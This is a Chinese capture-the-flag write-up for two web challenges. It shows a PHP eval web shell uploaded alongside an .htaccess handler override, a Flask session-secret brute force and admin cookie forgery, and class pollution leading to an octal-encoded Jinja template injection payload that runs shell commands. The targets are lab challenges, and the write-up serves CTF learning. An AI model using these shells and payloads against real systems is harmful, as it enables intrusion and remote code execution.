第四届“长城杯”网络安全大赛(web方向wp)

SQLUP

题目描述

image-20240908100329728

题目

image-20240908092607117

弱密码:

username: a

password: a

登陆

image-20240908092818703

image-20240908092826361

分析

先试试上传文件,提示上传的文件名不能带p

就上传配置文件+图片马

.htaccess

<FilesMatch "gif">
Sethandler application/x-httpd-php
</FilesMatch>

a.gif

<?= @eval($_POST['a']);?>

然后访问/uploads/a.gif,就能命令执行了

执行tac /flag就能拿flag了

image-20240908095857888

CandyShop

题目描述

image-20240908100122417

题目

image-20240908100259926

附件

app.py

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')
    
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))
    
    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))
    
    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

思路

先爆密钥,然后伪造session,进/admin路由,去污染sold,然后读secret.txt,拿到flag位置,然后再污染sold,打ssti,反弹shell

解题

用flask-unsign爆密钥

flask-unsign --unsign --cookie '.eJxNi0EKwyAQAP-y5x5Umm30M7LqWqRmhWgPJfj3Cr30NjMwF8R-Zj_aiwUc5MBG465MJIM6bnbDeMdAVqHZs-ZgU9RJP-AGJbGMMj7ronQUWend-RQ6-C95X6QM78Fdi5-1Bar9p73VBA6VmnN-ASCJKvw.Zt0jxw.ZSVGji4nKodCSCNpt_5jXEWrzGc'

image-20240908131324093

app.config['SECRET_KEY'] = a123456

然后伪造一个管理员session

python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'a968cd8075a660a6e34dbbd0e6067f8939236c3d','identity': 'admin','username': 'admin','alg': 'HS256'}"

污染sold

python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token': 'fbe216802ca261c5956c46ba90628f1eb9dc1d17', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold' : 600}}}"

image-20240908121609691

Congratulations! Here is my secret: flag in /tmp/xxxx/xxx/xxxx/flag

到这里暂时还不知道怎么读取falg

看源码的waf

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

发现只有在下面这个路由里调用了waf

@app.route('/')
def index():
    return render_template('index.html')@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

猜测下一步的利用点在这里

这个地方有回显,很有可能是打ssti

那么最关键的参数就是sold_value,这个参数就是被waf过的sold,

也就是说要只要污染sold为ssti的payload,就能命令执行了

但是waf非常严格,过滤了字母和下划线
这里本人没有绕过,下面直接贴上队内大哥的脚本

脚本

exp = "tac /tmp/1ab49e603bba9413159d60345dbcabab/3776d9e7a5d9e7354d7c57b80d02d5ce/2724574b70dbc57bcf641b5058c99bb8/flag"
dicc = []
exploit = ""
for i in range(256):
    eval("dicc.append('{}')".format("\\"+str(i)))
for i in exp:
    exploit += "\\\\"+ str(dicc.index(i))


print(exploit)
from urllib import request

from flask import Flask, session, make_response
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = 'a123456'


@app.route('/')
def index():
    # 设置一些 session 数据
    session["csrf_token"] = "d8ab3b9300e88f1abd2ee2d00bca39791e3d334e"
    session["__init__"] = {"__globals__": {"sold": "{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']['\\137\\137\\155\\162\\157\\137\\137'][-1]['\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137']()[132]['\\137\\137\\151\\156\\151\\164\\137\\137']['\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137']['\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137']['\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137']('\\157\\163')['\\160\\157\\160\\145\\156']('\\164\\141\\143\\40\\57\\164\\155\\160\\57\\61\\141\\142\\64\\71\\145\\66\\60\\63\\142\\142\\141\\71\\64\\61\\63\\61\\65\\71\\144\\66\\60\\63\\64\\65\\144\\142\\143\\141\\142\\141\\142\\57\\63\\67\\67\\66\\144\\71\\145\\67\\141\\65\\144\\71\\145\\67\\63\\65\\64\\144\\67\\143\\65\\67\\142\\70\\60\\144\\60\\62\\144\\65\\143\\145\\57\\62\\67\\62\\64\\65\\67\\64\\142\\67\\60\\144\\142\\143\\65\\67\\142\\143\\146\\66\\64\\61\\142\\65\\60\\65\\70\\143\\71\\71\\142\\142\\70\\57\\146\\154\\141\\147')['\\162\\145\\141\\144']()}}"}}
    session["identity"] = "admin"
    session["username"] = "ad"

    # 创建响应对象
    response = make_response("Session set.")


    return response


if __name__ == '__main__':
    app.run(debug=True)

1

posted @ 2024-09-09 16:50  Litsasuk  阅读(964)  评论(0)    收藏  举报